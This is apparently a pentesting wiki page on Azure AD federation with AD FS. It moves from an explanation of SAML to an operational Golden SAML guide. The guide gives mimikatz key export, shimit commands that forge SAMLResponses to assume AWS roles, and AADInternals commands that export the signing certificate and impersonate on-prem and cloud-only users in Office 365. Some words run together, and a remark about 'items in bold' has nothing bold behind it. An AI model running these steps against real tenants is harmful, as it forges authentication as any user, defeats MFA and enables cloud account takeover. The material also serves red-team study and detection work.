Az - Federation

Basic Information

From the docs:Federation is a collection of domains that have established trust. The level of trust may vary, but typically includes authentication and almost always includes authorization. A typical federation might include a number of organizations that have established trust for shared access to a set of resources.

You can federate your on-premises environment with Azure AD and use this federation for authentication and authorization. This sign-in method ensures that all user authentication occurs on-premises. This method allows administrators to implement more rigorous levels of access control. Federation with AD FS and PingFederate is available.

Bsiacally, in Federation, all authentication occurs in the on-prem environment and the user experiences SSO across all the trusted environments. Therefore, users can access cloud applications by using their on-prem credentials.

Security Assertion Markup Language (SAML) is used for exchanging all the authentication and authorization information between the providers.

In any federation setup there are three parties:

• User or Client

• Identity Provider (IdP)

• Service Provider (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.

2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.

3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user.

4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service.

If you want to learn more about SAML authentication and common attacks go to:

Pivoting

• AD FS is a claims-based identity model.

• "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."

• Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.

• A user is identified by ImmutableID. It is globally unique and stored in Azure AD.

• TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.

• More info in https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML attack:

• In ADFS, SAML Response is signed by a token-signing certificate.

• If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!

• Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.

• The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.

• More info in https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

The process where an Identity Provider (IdP) produces a SAMLResponse to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the response might be signed or encrypted using the IdP's private key. This procedure enables the Service Provider (SP) to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP.

A parallel can be drawn with the golden ticket attack, where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to forge an authentication object (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP.

Golden SAMLs offer certain advantages:

• They can be created remotely, without the need to be part of the domain or federation in question.

• They remain effective even with Two-Factor Authentication (2FA) enabled.

• The token-signing private key does not automatically renew.

• Changing a user’s password does not invalidate an already generated SAML.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) is a Microsoft service that facilitates the secure exchange of identity information between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.

With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially acquire any permissions in the AWS environment. The attack necessitates the private key used to sign the SAML objects, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.

The requirements for executing a golden SAML attack include:

• Token-signing private key

• IdP public certificate

• IdP name

• Role name (role to assume)

• Domain\username

• Role session name in AWS

• Amazon account ID

Only the items in bold are mandatory. The others can be filled in as desired.

To acquire the private key, access to the AD FS user account is necessary. From there, the private key can be exported from the personal store using tools like mimikatz. To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

It's also possible to create ImmutableID of cloud only users and impersonate them

# Create a realistic ImmutableID and set it for a cloud only user 
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

References

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps